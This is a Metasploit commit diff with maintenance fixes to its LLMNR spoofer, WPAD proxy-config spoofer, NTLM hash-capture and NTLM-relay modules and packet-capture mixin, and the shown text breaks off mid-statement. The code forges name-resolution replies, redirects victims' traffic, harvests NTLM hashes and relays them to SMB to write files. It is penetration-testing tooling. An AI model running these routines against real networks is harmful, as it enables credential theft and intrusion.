Land #2464, fixes for llmnr_response and friends
Fixed conflict in lib/msf/core/exploit/http/server.rb.bug/bundler_fix
commit
ff9cb481fb
|
@ -48,7 +48,7 @@ module Msf
|
||||||
begin
|
begin
|
||||||
require 'pcaprub'
|
require 'pcaprub'
|
||||||
@pcaprub_loaded = true
|
@pcaprub_loaded = true
|
||||||
rescue ::Exception => e
|
rescue ::LoadError => e
|
||||||
@pcaprub_loaded = false
|
@pcaprub_loaded = false
|
||||||
@pcaprub_error = e
|
@pcaprub_error = e
|
||||||
end
|
end
|
||||||
|
@ -56,7 +56,7 @@ module Msf
|
||||||
begin
|
begin
|
||||||
require 'network_interface'
|
require 'network_interface'
|
||||||
@network_interface_loaded = true
|
@network_interface_loaded = true
|
||||||
rescue ::Exception => e
|
rescue ::LoadError => e
|
||||||
@network_interface_loaded = false
|
@network_interface_loaded = false
|
||||||
@network_interface_error = e
|
@network_interface_error = e
|
||||||
end
|
end
|
||||||
|
@ -97,7 +97,7 @@ module Msf
|
||||||
len = (opts['SNAPLEN'] || datastore['SNAPLEN'] || 65535).to_i
|
len = (opts['SNAPLEN'] || datastore['SNAPLEN'] || 65535).to_i
|
||||||
tim = (opts['TIMEOUT'] || datastore['TIMEOUT'] || 0).to_i
|
tim = (opts['TIMEOUT'] || datastore['TIMEOUT'] || 0).to_i
|
||||||
fil = opts['FILTER'] || datastore['FILTER']
|
fil = opts['FILTER'] || datastore['FILTER']
|
||||||
arp = opts['ARPCAP'] || true
|
do_arp = (opts['ARPCAP'] == false) ? false : true
|
||||||
|
|
||||||
# Look for a PCAP file
|
# Look for a PCAP file
|
||||||
cap = datastore['PCAPFILE'] || ''
|
cap = datastore['PCAPFILE'] || ''
|
||||||
|
@ -115,7 +115,7 @@ module Msf
|
||||||
end
|
end
|
||||||
|
|
||||||
self.capture = ::Pcap.open_live(dev, len, true, tim)
|
self.capture = ::Pcap.open_live(dev, len, true, tim)
|
||||||
if arp
|
if do_arp
|
||||||
self.arp_capture = ::Pcap.open_live(dev, 512, true, tim)
|
self.arp_capture = ::Pcap.open_live(dev, 512, true, tim)
|
||||||
preamble = datastore['UDP_SECRET'].to_i
|
preamble = datastore['UDP_SECRET'].to_i
|
||||||
arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})"
|
arp_filter = "arp[6:2] = 2 or (udp[8:4] = #{preamble})"
|
||||||
|
@ -125,7 +125,7 @@ module Msf
|
||||||
|
|
||||||
if (not self.capture)
|
if (not self.capture)
|
||||||
raise RuntimeError, "Could not start the capture process"
|
raise RuntimeError, "Could not start the capture process"
|
||||||
elsif (arp and !self.arp_capture and cap.empty?)
|
elsif (do_arp and !self.arp_capture and cap.empty?)
|
||||||
raise RuntimeError, "Could not start the ARP capture process"
|
raise RuntimeError, "Could not start the ARP capture process"
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -141,7 +141,6 @@ module Msf
|
||||||
|
|
||||||
def capture_extract_ies(raw)
|
def capture_extract_ies(raw)
|
||||||
set = {}
|
set = {}
|
||||||
ret = 0
|
|
||||||
idx = 0
|
idx = 0
|
||||||
len = 0
|
len = 0
|
||||||
|
|
||||||
|
@ -279,7 +278,7 @@ module Msf
|
||||||
# This ascertains the correct Ethernet addresses one should use to
|
# This ascertains the correct Ethernet addresses one should use to
|
||||||
# ensure injected IP packets actually get where they are going, and
|
# ensure injected IP packets actually get where they are going, and
|
||||||
# manages the self.arp_cache hash. It always uses self.arp_capture
|
# manages the self.arp_cache hash. It always uses self.arp_capture
|
||||||
# do inject and capture packets, and will always first fire off a
|
# to inject and capture packets, and will always first fire off a
|
||||||
# UDP packet using the regular socket to learn the source host's
|
# UDP packet using the regular socket to learn the source host's
|
||||||
# and gateway's mac addresses.
|
# and gateway's mac addresses.
|
||||||
def lookup_eth(addr=nil, iface=nil)
|
def lookup_eth(addr=nil, iface=nil)
|
||||||
|
@ -309,7 +308,15 @@ module Msf
|
||||||
dst_port = rand(30000)+1024
|
dst_port = rand(30000)+1024
|
||||||
preamble = [datastore['UDP_SECRET']].pack("N")
|
preamble = [datastore['UDP_SECRET']].pack("N")
|
||||||
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
|
secret = "#{preamble}#{Rex::Text.rand_text(rand(0xff)+1)}"
|
||||||
UDPSocket.open.send(secret, 0, dst_host, dst_port)
|
|
||||||
|
begin
|
||||||
|
UDPSocket.open.send(secret, 0, dst_host, dst_port)
|
||||||
|
rescue Errno::ENETUNREACH
|
||||||
|
# This happens on networks with no gatway. We'll need to use a
|
||||||
|
# fake source hardware address.
|
||||||
|
self.arp_cache[Rex::Socket.source_address(addr)] = "00:00:00:00:00:00"
|
||||||
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
|
to = (datastore['TIMEOUT'] || 1500).to_f / 1000.0
|
||||||
::Timeout.timeout(to) do
|
::Timeout.timeout(to) do
|
||||||
|
@ -415,7 +422,7 @@ module Msf
|
||||||
|
|
||||||
attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache
|
attr_accessor :capture, :arp_cache, :arp_capture, :dst_cache
|
||||||
|
|
||||||
#Netifaces code
|
# Netifaces code
|
||||||
|
|
||||||
def netifaces_implemented?
|
def netifaces_implemented?
|
||||||
@network_interface_loaded and
|
@network_interface_loaded and
|
||||||
|
@ -486,8 +493,8 @@ module Msf
|
||||||
check_pcaprub_loaded
|
check_pcaprub_loaded
|
||||||
dev = get_interface_guid(dev)
|
dev = get_interface_guid(dev)
|
||||||
addrs = NetworkInterface.addresses(dev)
|
addrs = NetworkInterface.addresses(dev)
|
||||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||||
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||||
raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
|
raise RuntimeError, "Can not get the IPv4 address for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['addr']
|
||||||
addrs[NetworkInterface::AF_INET][num]['addr']
|
addrs[NetworkInterface::AF_INET][num]['addr']
|
||||||
end
|
end
|
||||||
|
@ -496,8 +503,8 @@ module Msf
|
||||||
check_pcaprub_loaded
|
check_pcaprub_loaded
|
||||||
dev = get_interface_guid(dev)
|
dev = get_interface_guid(dev)
|
||||||
addrs = NetworkInterface.addresses(dev)
|
addrs = NetworkInterface.addresses(dev)
|
||||||
raise RuntimeError, "Interface #{dev} do not exists" if !addrs
|
raise RuntimeError, "Interface #{dev} does not exist" if !addrs
|
||||||
raise RuntimeError, "Interface #{dev} do not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
raise RuntimeError, "Interface #{dev} does not have an ipv4 address at position #{num}" if addrs[NetworkInterface::AF_INET].length < num + 1
|
||||||
raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
|
raise RuntimeError, "Can not get IPv4 netmask for interface #{dev}" if !addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||||
addrs[NetworkInterface::AF_INET][num]['netmask']
|
addrs[NetworkInterface::AF_INET][num]['netmask']
|
||||||
end
|
end
|
||||||
|
|
|
@ -700,7 +700,7 @@ protected
|
||||||
# Returns a string containing the encrypted string and a loader
|
# Returns a string containing the encrypted string and a loader
|
||||||
#
|
#
|
||||||
def encrypt_js(javascript, key)
|
def encrypt_js(javascript, key)
|
||||||
js_encoded = Rex::Exploitation::EncryptJS.encrypt(javascript, key)
|
Rex::Exploitation::EncryptJS.encrypt(javascript, key)
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
|
|
|
@ -58,7 +58,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
print_status("Request '#{request.uri}'...")
|
vprint_status("Request '#{request.uri}'")
|
||||||
|
|
||||||
case request.method
|
case request.method
|
||||||
when 'OPTIONS'
|
when 'OPTIONS'
|
||||||
|
@ -66,10 +66,16 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
else
|
else
|
||||||
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
||||||
if(!request.headers['Authorization'])
|
if(!request.headers['Authorization'])
|
||||||
|
vprint_status("401 '#{request.uri}'")
|
||||||
response = create_response(401, "Unauthorized")
|
response = create_response(401, "Unauthorized")
|
||||||
response.headers['WWW-Authenticate'] = "NTLM"
|
response.headers['WWW-Authenticate'] = "NTLM"
|
||||||
|
response.headers['Proxy-Support'] = 'Session-Based-Authentication'
|
||||||
|
response.body =
|
||||||
|
"<HTML><HEAD><TITLE>You are not authorized to view this page</TITLE></HEAD></HTML>"
|
||||||
|
|
||||||
cli.send_response(response)
|
cli.send_response(response)
|
||||||
else
|
else
|
||||||
|
vprint_status("Continuing auth '#{request.uri}'")
|
||||||
method,hash = request.headers['Authorization'].split(/\s+/,2)
|
method,hash = request.headers['Authorization'].split(/\s+/,2)
|
||||||
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
|
# If the method isn't NTLM something odd is goign on. Regardless, this won't get what we want, 404 them
|
||||||
if(method != "NTLM")
|
if(method != "NTLM")
|
||||||
|
@ -142,7 +148,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
nt_len = ntlm_hash.length
|
nt_len = ntlm_hash.length
|
||||||
|
|
||||||
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
|
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
|
||||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
||||||
:lm_hash => lm_hash,
|
:lm_hash => lm_hash,
|
||||||
:nt_hash => ntlm_hash
|
:nt_hash => ntlm_hash
|
||||||
}
|
}
|
||||||
|
@ -153,11 +159,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
||||||
# a ntlmv2 response
|
# a ntlmv2 response
|
||||||
elsif nt_len > 48 #lmv2/ntlmv2
|
elsif nt_len > 48 #lmv2/ntlmv2
|
||||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
||||||
:lm_hash => lm_hash[0, 32],
|
:lm_hash => lm_hash[0, 32],
|
||||||
:lm_cli_challenge => lm_hash[32, 16],
|
:lm_cli_challenge => lm_hash[32, 16],
|
||||||
:nt_hash => ntlm_hash[0, 32],
|
:nt_hash => ntlm_hash[0, 32],
|
||||||
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
|
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
|
||||||
}
|
}
|
||||||
elsif nt_len == 0
|
elsif nt_len == 0
|
||||||
print_status("Empty hash from #{host} captured, ignoring ... ")
|
print_status("Empty hash from #{host} captured, ignoring ... ")
|
||||||
|
@ -335,7 +341,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
:active => true
|
:active => true
|
||||||
)
|
)
|
||||||
#if(datastore['LOGFILE'])
|
#if(datastore['LOGFILE'])
|
||||||
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
|
# File.open(datastore['LOGFILE'], "ab") {|fd| fd.puts(capturelogmessage + "\n")}
|
||||||
#end
|
#end
|
||||||
|
|
||||||
if(datastore['CAINPWFILE'] and user)
|
if(datastore['CAINPWFILE'] and user)
|
||||||
|
|
|
@ -89,7 +89,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
when 'OPTIONS'
|
when 'OPTIONS'
|
||||||
process_options(cli, request)
|
process_options(cli, request)
|
||||||
else
|
else
|
||||||
datastore['REQUEST_IP'] = cli.peerhost
|
|
||||||
cli.keepalive = true;
|
cli.keepalive = true;
|
||||||
|
|
||||||
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
# If the host has not started auth, send 401 authenticate with only the NTLM option
|
||||||
|
@ -235,10 +234,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
print_error("PUTDATA and FILEPUTDATA cannot both contain data")
|
print_error("PUTDATA and FILEPUTDATA cannot both contain data")
|
||||||
raise ArgumentError
|
raise ArgumentError
|
||||||
elsif datastore['PUTDATA'] != nil
|
elsif datastore['PUTDATA'] != nil
|
||||||
datastore['FINALPUTDATA'] = datastore['PUTDATA']
|
@finalputdata = datastore['PUTDATA']
|
||||||
elsif datastore['FILEPUTDATA'] != nil
|
elsif datastore['FILEPUTDATA'] != nil
|
||||||
f = File.open(datastore['FILEPUTDATA'], "rb")
|
f = File.open(datastore['FILEPUTDATA'], "rb")
|
||||||
datastore['FINALPUTDATA'] = f.read
|
@finalputdata = f.read
|
||||||
f.close
|
f.close
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -272,7 +271,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
if (method == 'POST')
|
if (method == 'POST')
|
||||||
theaders << 'Content-Length: ' <<
|
theaders << 'Content-Length: ' <<
|
||||||
(datastore['FINALPUTDATA'].length + 4).to_s()<< "\r\n"
|
(@finalputdata.length + 4).to_s()<< "\r\n"
|
||||||
end
|
end
|
||||||
|
|
||||||
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
|
# HTTP_HEADERFILE is how this module supports cookies, multipart forms, etc
|
||||||
|
@ -295,10 +294,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
'method' => method,
|
'method' => method,
|
||||||
'version' => '1.1',
|
'version' => '1.1',
|
||||||
}
|
}
|
||||||
if (datastore['FINALPUTDATA'] != nil)
|
if (@finalputdata != nil)
|
||||||
#we need to get rid of an extra "\r\n"
|
#we need to get rid of an extra "\r\n"
|
||||||
theaders = theaders[0..-3]
|
theaders = theaders[0..-3]
|
||||||
opts['data'] = datastore['FINALPUTDATA'] << "\r\n\r\n"
|
opts['data'] = @finalputdata << "\r\n\r\n"
|
||||||
end
|
end
|
||||||
opts['SSL'] = true if datastore["RSSL"]
|
opts['SSL'] = true if datastore["RSSL"]
|
||||||
opts['raw_headers'] = theaders
|
opts['raw_headers'] = theaders
|
||||||
|
@ -324,12 +323,12 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
#relay ntlm type1 message for SMB
|
#relay ntlm type1 message for SMB
|
||||||
def smb_relay_toservert1(hash)
|
def smb_relay_toservert1(hash)
|
||||||
rsock = Rex::Socket::Tcp.create(
|
rsock = Rex::Socket::Tcp.create(
|
||||||
'PeerHost' => datastore['RHOST'],
|
'PeerHost' => datastore['RHOST'],
|
||||||
'PeerPort' => datastore['RPORT'],
|
'PeerPort' => datastore['RPORT'],
|
||||||
'Timeout' => 3,
|
'Timeout' => 3,
|
||||||
'Context' =>
|
'Context' =>
|
||||||
{
|
{
|
||||||
'Msf' => framework,
|
'Msf' => framework,
|
||||||
'MsfExploit'=> self,
|
'MsfExploit'=> self,
|
||||||
}
|
}
|
||||||
)
|
)
|
||||||
|
@ -354,7 +353,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
begin
|
begin
|
||||||
#lazy ntlmsspblob extraction
|
#lazy ntlmsspblob extraction
|
||||||
ntlmsspblob = 'NTLMSSP' <<
|
ntlmsspblob = 'NTLMSSP' <<
|
||||||
(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
|
(resp.to_s().split('NTLMSSP')[1].split("\x00\x00Win")[0]) <<
|
||||||
"\x00\x00"
|
"\x00\x00"
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
|
@ -367,7 +366,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
#relay ntlm type3 SMB message
|
#relay ntlm type3 SMB message
|
||||||
def smb_relay_toservert3(hash, ser_sock)
|
def smb_relay_toservert3(hash, ser_sock)
|
||||||
arg = get_hash_info(hash)
|
#arg = get_hash_info(hash)
|
||||||
dhash = Rex::Text.decode_base64(hash)
|
dhash = Rex::Text.decode_base64(hash)
|
||||||
|
|
||||||
#Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
|
#Create a GSS blob for ntlmssp type 3 message, encoding the passed hash
|
||||||
|
@ -424,7 +423,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
ser_sock.client.tree_connect(share)
|
ser_sock.client.tree_connect(share)
|
||||||
|
|
||||||
fd = ser_sock.open("\\#{path}", 'rwct')
|
fd = ser_sock.open("\\#{path}", 'rwct')
|
||||||
fd << datastore['FINALPUTDATA']
|
fd << @finalputdata
|
||||||
fd.close
|
fd.close
|
||||||
|
|
||||||
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
|
logdata = "File \\\\#{datastore['RHOST']}\\#{datastore['RURIPATH']} written"
|
||||||
|
@ -536,7 +535,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
response = dcerpc.call(0x0c, stubdata)
|
response = dcerpc.call(0x0c, stubdata)
|
||||||
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
if (dcerpc.last_response != nil and dcerpc.last_response.stub_data != nil)
|
||||||
svc_handle = dcerpc.last_response.stub_data[0,20]
|
svc_handle = dcerpc.last_response.stub_data[0,20]
|
||||||
svc_status = dcerpc.last_response.stub_data[24,4]
|
#svc_status = dcerpc.last_response.stub_data[24,4]
|
||||||
end
|
end
|
||||||
rescue ::Exception => e
|
rescue ::Exception => e
|
||||||
print_error("Error: #{e}")
|
print_error("Error: #{e}")
|
||||||
|
@ -627,7 +626,7 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
nt_len = ntlm_hash.length
|
nt_len = ntlm_hash.length
|
||||||
|
|
||||||
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
|
if nt_len == 48 #lmv1/ntlmv1 or ntlm2_session
|
||||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
arg = { :ntlm_ver => NTLM_CONST::NTLM_V1_RESPONSE,
|
||||||
:lm_hash => lm_hash,
|
:lm_hash => lm_hash,
|
||||||
:nt_hash => ntlm_hash
|
:nt_hash => ntlm_hash
|
||||||
}
|
}
|
||||||
|
@ -638,11 +637,11 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
#if the length of the ntlm response is not 24 then it will be bigger and represent
|
||||||
#a ntlmv2 response
|
#a ntlmv2 response
|
||||||
elsif nt_len > 48 #lmv2/ntlmv2
|
elsif nt_len > 48 #lmv2/ntlmv2
|
||||||
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
arg = { :ntlm_ver => NTLM_CONST::NTLM_V2_RESPONSE,
|
||||||
:lm_hash => lm_hash[0, 32],
|
:lm_hash => lm_hash[0, 32],
|
||||||
:lm_cli_challenge => lm_hash[32, 16],
|
:lm_cli_challenge => lm_hash[32, 16],
|
||||||
:nt_hash => ntlm_hash[0, 32],
|
:nt_hash => ntlm_hash[0, 32],
|
||||||
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
|
:nt_cli_challenge => ntlm_hash[32, nt_len - 32]
|
||||||
}
|
}
|
||||||
elsif nt_len == 0
|
elsif nt_len == 0
|
||||||
print_status("Empty hash from #{host} captured, ignoring ... ")
|
print_status("Empty hash from #{host} captured, ignoring ... ")
|
||||||
|
|
|
@ -33,7 +33,6 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
register_options(
|
register_options(
|
||||||
[
|
[
|
||||||
OptEnum.new('TYPE', [true, 'WPAD/PAC Data File', 'DAT', ['DAT', 'PAC']]),
|
|
||||||
OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]),
|
OptAddress.new('EXCLUDENETWORK', [ true, "Network to exclude",'127.0.0.1' ]),
|
||||||
OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]),
|
OptAddress.new('EXCLUDENETMASK', [ true, "Netmask to exclude",'255.255.255.0' ]),
|
||||||
OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]),
|
OptAddress.new('PROXY', [ true, "Proxy to redirect traffic to", '0.0.0.0' ]),
|
||||||
|
@ -44,15 +43,10 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
end
|
end
|
||||||
|
|
||||||
|
|
||||||
def cleanup
|
|
||||||
datastore['URIPATH'] = @previous_uri
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
def on_request_uri(cli, request)
|
def on_request_uri(cli, request)
|
||||||
print_status("Request '#{request.method} #{request.headers['user-agent']}")
|
vprint_status("Request '#{request.method} #{request.headers['user-agent']}")
|
||||||
|
|
||||||
return if request.method == "POST"
|
return send_not_found(cli) if request.method == "POST"
|
||||||
|
|
||||||
html = <<-EOS
|
html = <<-EOS
|
||||||
function FindProxyForURL(url, host) {
|
function FindProxyForURL(url, host) {
|
||||||
|
@ -65,20 +59,23 @@ function FindProxyForURL(url, host) {
|
||||||
}
|
}
|
||||||
EOS
|
EOS
|
||||||
|
|
||||||
print_status("Sending WPAD config ...")
|
print_status("Sending WPAD config")
|
||||||
send_response_html(cli, html,
|
send_response_html(cli, html,
|
||||||
{
|
{
|
||||||
'Content-Type' => 'application/x-ns-proxy-autoconfig'
|
'Content-Type' => 'application/x-ns-proxy-autoconfig'
|
||||||
})
|
})
|
||||||
end
|
end
|
||||||
|
|
||||||
|
def resource_uri
|
||||||
|
"/wpad.dat"
|
||||||
|
end
|
||||||
|
|
||||||
|
def primer
|
||||||
|
hardcoded_uripath("/proxy.pac")
|
||||||
|
end
|
||||||
|
|
||||||
def run
|
def run
|
||||||
@previous_uri = datastore['URIPATH']
|
# This should probably be added to the Http mixin's run method
|
||||||
datastore['URIPATH'] = (datastore['TYPE'] == 'DAT') ? 'wpad.dat' : 'proxy.pac'
|
|
||||||
|
|
||||||
print_status("Serving #{datastore['URIPATH']} on port #{datastore['SRVPORT']}")
|
|
||||||
|
|
||||||
begin
|
begin
|
||||||
exploit
|
exploit
|
||||||
rescue Errno::EACCES => e
|
rescue Errno::EACCES => e
|
||||||
|
|
|
@ -6,6 +6,7 @@
|
||||||
require 'msf/core'
|
require 'msf/core'
|
||||||
require 'socket'
|
require 'socket'
|
||||||
require 'ipaddr'
|
require 'ipaddr'
|
||||||
|
require 'net/dns'
|
||||||
|
|
||||||
class Metasploit3 < Msf::Auxiliary
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
@ -16,8 +17,8 @@ attr_accessor :sock, :thread
|
||||||
|
|
||||||
def initialize
|
def initialize
|
||||||
super(
|
super(
|
||||||
'Name' => 'LLMNR Spoofer',
|
'Name' => 'LLMNR Spoofer',
|
||||||
'Description' => %q{
|
'Description' => %q{
|
||||||
LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to
|
LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to
|
||||||
resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests
|
resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests
|
||||||
sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.
|
sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.
|
||||||
|
@ -55,80 +56,92 @@ attr_accessor :sock, :thread
|
||||||
self.sock = nil
|
self.sock = nil
|
||||||
end
|
end
|
||||||
|
|
||||||
def dispatch_request(packet, addr)
|
def dispatch_request(packet, rhost, src_port)
|
||||||
rhost = addr[0]
|
rhost = ::IPAddr.new(rhost)
|
||||||
src_port = addr[1]
|
|
||||||
|
|
||||||
# Getting info from the request packet
|
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
|
||||||
llmnr_transid = packet[0..1]
|
# addr like "::ffff:192.168.0.1" when the interface we're listening
|
||||||
llmnr_flags = packet[2..3]
|
# on has an IPv6 address. Convert it to just the v4 addr
|
||||||
llmnr_questions = packet[4..5]
|
if rhost.ipv4_mapped?
|
||||||
llmnr_answerrr = packet[6..7]
|
rhost = rhost.native
|
||||||
llmnr_authorityrr = packet[8..9]
|
|
||||||
llmnr_additionalrr = packet[10..11]
|
|
||||||
llmnr_name_length = packet[12..12]
|
|
||||||
name_end = 13 + llmnr_name_length.unpack('C')[0].to_int
|
|
||||||
llmnr_name = packet[13..name_end-1]
|
|
||||||
llmnr_name_and_length = packet[12..name_end]
|
|
||||||
llmnr_type = packet[name_end+1..name_end+2]
|
|
||||||
llmnr_class = packet[name_end+3..name_end+4]
|
|
||||||
|
|
||||||
llmnr_decodedname = llmnr_name.unpack('a*')[0].to_s
|
|
||||||
|
|
||||||
if datastore['DEBUG']
|
|
||||||
print_status("Received Packet from: #{rhost}:#{src_port}")
|
|
||||||
print_status("transid: #{llmnr_transid.unpack('H4')}")
|
|
||||||
print_status("tlags: #{llmnr_flags.unpack('B16')}")
|
|
||||||
print_status("questions: #{llmnr_questions.unpack('n')}")
|
|
||||||
print_status("answerrr: #{llmnr_answerrr.unpack('n')}")
|
|
||||||
print_status("authorityrr: #{llmnr_authorityrr.unpack('n')}")
|
|
||||||
print_status("additionalrr: #{llmnr_additionalrr.unpack('n')}")
|
|
||||||
print_status("name length: #{llmnr_name_length.unpack('c')}")
|
|
||||||
print_status("name: #{llmnr_name.unpack('a*')}")
|
|
||||||
print_status("decodedname: #{llmnr_decodedname}")
|
|
||||||
print_status("type: #{llmnr_type.unpack('n')}")
|
|
||||||
print_status("class: #{llmnr_class.unpack('n')}")
|
|
||||||
end
|
end
|
||||||
|
|
||||||
if (llmnr_decodedname =~ /#{datastore['REGEX']}/i)
|
dns_pkt = ::Net::DNS::Packet.parse(packet)
|
||||||
#Header
|
spoof = ::IPAddr.new(datastore['SPOOFIP'])
|
||||||
response = llmnr_transid
|
|
||||||
response << "\x80\x00" # Flags TODO add details
|
|
||||||
response << "\x00\x01" # Questions = 1
|
|
||||||
response << "\x00\x01" # Answer RRs = 1
|
|
||||||
response << "\x00\x00" # Authority RRs = 0
|
|
||||||
response << "\x00\x00" # Additional RRs = 0
|
|
||||||
#Query part
|
|
||||||
response << llmnr_name_and_length
|
|
||||||
response << llmnr_type
|
|
||||||
response << llmnr_class
|
|
||||||
#Answer part
|
|
||||||
response << llmnr_name_and_length
|
|
||||||
response << llmnr_type
|
|
||||||
response << llmnr_class
|
|
||||||
response << [datastore['TTL']].pack("N") #Default 5 minutes
|
|
||||||
response << "\x00\x04" # Datalength = 4
|
|
||||||
response << Rex::Socket.addr_aton(datastore['SPOOFIP'])
|
|
||||||
|
|
||||||
open_pcap
|
# Turn this packet into a response
|
||||||
# Sending UDP unicast response
|
dns_pkt.header.qr = 1
|
||||||
p = PacketFu::UDPPacket.new
|
|
||||||
p.ip_saddr = Rex::Socket.source_address(rhost)
|
|
||||||
p.ip_daddr = rhost
|
|
||||||
p.ip_ttl = 255
|
|
||||||
p.udp_sport = 5355 # LLMNR UDP port
|
|
||||||
p.udp_dport = src_port # Port used by sender
|
|
||||||
p.payload = response
|
|
||||||
p.recalc
|
|
||||||
|
|
||||||
capture_sendto(p, rhost,true)
|
dns_pkt.question.each do |question|
|
||||||
if should_print_reply?(llmnr_decodedname)
|
name = question.qName
|
||||||
print_good("#{Time.now.utc} : Reply for #{llmnr_decodedname} sent to #{rhost} with spoofed IP #{datastore['SPOOFIP']}")
|
unless name =~ /#{datastore['REGEX']}/i
|
||||||
end
|
vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
|
||||||
close_pcap
|
next
|
||||||
|
end
|
||||||
|
|
||||||
|
if should_print_reply?(name)
|
||||||
|
print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}")
|
||||||
|
end
|
||||||
|
|
||||||
|
# qType is not a Fixnum, so to compare it with `case` we have to
|
||||||
|
# convert it
|
||||||
|
case question.qType.to_i
|
||||||
|
when ::Net::DNS::A
|
||||||
|
dns_pkt.answer << ::Net::DNS::RR::A.new(
|
||||||
|
:name => name,
|
||||||
|
:ttl => 30,
|
||||||
|
:cls => ::Net::DNS::IN,
|
||||||
|
:type => ::Net::DNS::A,
|
||||||
|
:address => spoof.to_s
|
||||||
|
)
|
||||||
|
when ::Net::DNS::AAAA
|
||||||
|
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
|
||||||
|
:name => name,
|
||||||
|
:ttl => 30,
|
||||||
|
:cls => ::Net::DNS::IN,
|
||||||
|
:type => ::Net::DNS::AAAA,
|
||||||
|
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
|
||||||
|
)
|
||||||
|
else
|
||||||
|
print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type, this shouldn't happen. Skipping")
|
||||||
|
next
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
# If we didn't find anything we want to spoof, don't send any
|
||||||
|
# packets
|
||||||
|
return if dns_pkt.answer.empty?
|
||||||
|
|
||||||
|
udp = ::PacketFu::UDPHeader.new(
|
||||||
|
:udp_src => 5355,
|
||||||
|
:udp_dst => src_port,
|
||||||
|
